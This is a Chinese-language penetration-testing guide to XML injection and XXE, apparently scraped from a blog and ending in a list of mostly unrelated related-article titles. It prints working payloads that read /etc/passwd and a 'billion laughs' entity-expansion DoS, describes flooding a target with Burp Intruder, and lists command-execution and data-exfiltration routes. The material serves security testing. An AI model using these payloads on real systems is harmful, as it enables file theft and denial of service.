一.攻击场景

流星资源网,各类源码,游戏源码,QP源码

  • 直接发送XML请求
  1. 描述

    许多应用系统或组件均需要发送xml请求(get或post请求)到后台进行处理,通过识别前台发送至后台的xml请求,并使用代理拦截工具截取请求,利用XXE攻击方法修改xml请求体进行测试,

测试方法

首先查找直接发送xml请求的链接,例如抓到以下链接,如,https://127.0.0.1:8443/test/test.action其提交的post参数中有以下参数,如:

req=<?xml version="1.0" encoding="UTF-8">

<employees>

<employee>

<name>bcbccb.cn</name>

<sex>m</sex>

<age>30</age>

</employee>

</employees>

从参数体可以看出发送请求的内容是xml格式,这时如果系统支持回显那么可以发送以下请求:

<?xml version="1.0" encoding="UTF-8">

<!DOCTYPE mytest[

<!ELEMENT secret ANY>

<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

<secTest>&xxe;</secTest>

<employees>

<employee>

<name>bcbccb.cn</name>

<sex>m</sex>

<age>30</age>

</employee>

</employees>

这时可在页面中显示linux服务器中的passwd文件的内容,导致操作系统的用户名等敏感信息的泄露。

举一反三,如果你能知道某文件的绝对路径,则可查看任意文件内容。

  • 上传xml文件

  1. 描述

    许多设备允许上传xml格式的配置文件进行固件升级,如果后台代码没有做任何过滤直接解析上传的xml配置文件,那么容易导致xml注入,利用xml注入发送超大字符串进行拒绝服务攻击,最终导致设备瘫痪。

2.测试方法

遍历系统功能有所查找可上传xml格式的功能模块,随意上传一个xml,用代理拦截工具,如burpsuite进行拦截,并修改xml内容为超大字符串,如以下代码:

<?xml version="1.0" encoding="UTF-8">

<!DOCUMENT something[

<!ENTITY x0 "Developers!">

<!ENTITY x1 "&x0;&x0;">

<!ENTITY x2 "&x1;&x1;">

.......

<!ENTITY x100 "&x99;&x99;">]>

<something>&x100;</something>

用burpsuite把请求发送到intruder,启动127个线程发送大量请求。

最终查看设备是否被访问变慢,是否被拒绝服务攻击了。

  • webservice接口
  1. 描述

    由于webservice接口传输的数据主要是xml数据,因此只要前台发送xml请求,后台处理xml请求就有可能存在xml注入。

  2. 测试方法

    除了使用如appscan,AWVS等工具进行扫描之外,还可以使用soapui之类的调试webservice的工具进行手动发送测试数据,测试方法其实和上述xml注入场景差不多,都是在发送到服务端的xml数据中插入攻击数据。

    如,插入新数据,绕过登录,发送长数据造成DDOS

  • 上传svg文件

某网站存在上传svg文件场景。

这时可以拦截请求,修改请求信息,插入以下代 码形成XXE注入攻击。

<!DOCUMENT svg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]>

  • 直接发送包含RSS文件的请求

    RSS基于xml标准,是在互联网上被广泛采用的内容包装和投递协议。RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的xml应用。

    某网站,允许用户使用自定义的RSS,通过在文件中引用外部实体,可造成XXE攻击。

  • XEE(XML实体膨胀)

    主要试图通过消耗目标程序的服务器环境来进行dos攻击。这种攻击通过在xml的DOCTYPE中创建自定义实体的定义实现,比如这种定义可以在内存中生成一个比xml的原始允许大小大出很多的xml结构,来使这种攻击得以消耗网络服务器正常有效运行的必须内存资源。

    如,添加如下代码:

    <!DOCTYPE root[<!ENTITY test "TestString">]>

    上传后,系统返回错误,回显显示TestString

    上传dos攻击脚本,如这种:

<!ENTITY x1 "&x0;&x0;">

<!ENTITY x2 "&x1;&x1;">

.......

<!ENTITY x100 "&x99;&x99;">]>

观察后台cpu占用率超过100%导致系统重启。

二.影响

可能导致越权添加数据,绕过登录。另外,可能导致应用系统被拒绝服务攻击,服务器信息泄露等等。

XXE利用方式,供参考:

  1. 使用file协议访问/dev/random或/dev/zero,进行拒绝服务攻击

  2. 上传xml解析炸弹,进行拒绝服务攻击

  3. 通过file协议访问根目录来目录枚举

  4. 通过http协议访问ip+port,进行端口内网扫描探索

  5. 通过jar协议造成文件上传动作

  6. 通过expect协议执行任意命令

  7. 通过http协议外带数据

  8. 利用php协议外带数据

  9. 利用ftp协议外带数据

  10. 利用gopher协议外带数据

黑盒渗透测试指导之XML注入相关推荐

  1. 黑盒渗透测试指导之上传

    一.攻击场景 直接上传webshell 流星资源网,各类源码分享,游戏源码,支付源码等 流星资源网 描述 许多应用系统或组件均提供文件上传功能,如果未做任何文件上传类型限制,导致可任意上传webshe ...

  2. 渗透分支写脚本_给小白的黑盒渗透测试作业——漏洞分析测试到安全加固建议...

    概述 2016.12.22收到关于海洋网站及内网的的渗透测试项目,并对海洋CMS进行黑盒渗透测试.本次渗透测试对存在的漏洞进行了仔细的分析和测试,以了解该站点和对应的内网的安全程度,同时给出相应的安全 ...

  3. Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

    Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...

  4. mysql md5解密_Web渗透测试——Mysql数据库手工注入

    我们之前讲到了SQL注入漏洞是一种非常危险的高危漏洞,攻击者可以利用许多工具轻而易举的获得目标站点后台管理权限,我们也介绍了许多SQL注入利用工具,有网友问我,既然可以使用工具自动注入,为什么还要用手 ...

  5. 渗透测试入门17之一次完整的渗透测试流程

    一次完整的渗透测试流程 目录 渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,发现 ...

  6. Web渗透测试基本流程

    对于web应用的渗透测试,大致可分为三个阶段:信息收集.漏洞发现以及漏洞利用.在实践过程中需要进一步明细测试的流程,以下通过9个阶段来描述渗透测试的整个流程: 1.明确目标 1)确定范围:测试的范围, ...

  7. 汽车网络安全渗透测试

    "转载自维克多汽车技术(上海)有限公司,作者Vector China" 产品和企业IT的融合引发了新的网络安全风险,从功能安全到数据隐私都面临潜在威胁.汽车行业正在使用各种方法进行 ...

  8. 渗透测试入门24之渗透测试参考书、课程、工具、认证

    白帽子渗透测试入门资源:参考书.课程.工具.认证文章目录 前言 名词解析 Pwk课程与OSCP证书 CTF 工具 参考书 相关文献推荐 资源打包前言 初入渗透测试领域,过程中遇到不少错综复杂的知识,也 ...

  9. 小白入门黑客之渗透测试基本流程

    所以全网最详细的渗透测试流程来了!!! 如果对学习黑客感兴趣的同学,可以点下方参加我们的实战训练营.从这里开始进入体系化的学习,还有小白到进阶的实战靶场,新手老手都适用 渗透测试 渗透测试其实就是通过 ...

最新文章

  1. R语言ggplot2可视化:ggplot2可视化散点图并使用geom_mark_circle函数在数据簇或数据分组的数据点周围添加圆圈进行注释(自定义圆圈的大小)
  2. jenkins插件之Publish Over FTP
  3. python模块matplotlib.pyplot用法_python – 虽然使用pyplot.show(),但如何使用matplotlib保持图形大小不变?...
  4. 河马php一句话木马,一句话木马的套路
  5. 语言 班费管理系统源代码_固定资产管理系统开源的各种语言翻译
  6. [eslint-plugin-vue] [vue/no-unused-vars] 'scope' is defined but never used.
  7. POJ 1187 陨石的秘密 (线性DP)
  8. jdbc至sql server的两种常见方法
  9. 惠普企业警告:Sudo 漏洞可使攻击者获得 Aruba 平台的 root 权限
  10. 过去的一年,2013!
  11. thinkphp的项目分组
  12. 数学建模--层次分析法
  13. wes7 系统开关机界面定制
  14. Geometric application of BSTs
  15. yeahnet邮箱服务器,网易126/163/Yeah.net免费邮箱开放IMAP服务
  16. 动态规划练习一之最低通行费
  17. 【方法/函数】 矩阵相乘
  18. 双子天蝎,爱情是不老的传说
  19. [转]一个IT人才的精彩故事
  20. 星盈科技虚拟带库VTL-100面市 可节省30倍空间

热门文章

  1. 怎么让Html的高度自适应屏幕高度
  2. Springboot毕设项目咖啡馆管理系统4598u(java+VUE+Mybatis+Maven+Mysql)
  3. Qt之绘制折线图:图标以及坐标轴设置
  4. 根据身份证号(18/15)计算年龄、出生日期、性别
  5. 英雄联盟无法开始第二局(已解决,亲测有效)
  6. PMEdit一个富文本框可以编辑文本、并可以显示GIF动画
  7. Anaconda conda常用命令:从入门到精通
  8. 微信小程序渐变色按钮,好看的小程序按钮样式
  9. 名帖123 徐祯卿 小楷《为朱君募买驴疏》
  10. TOREX | 如何延长设备的电池寿命?——充电IC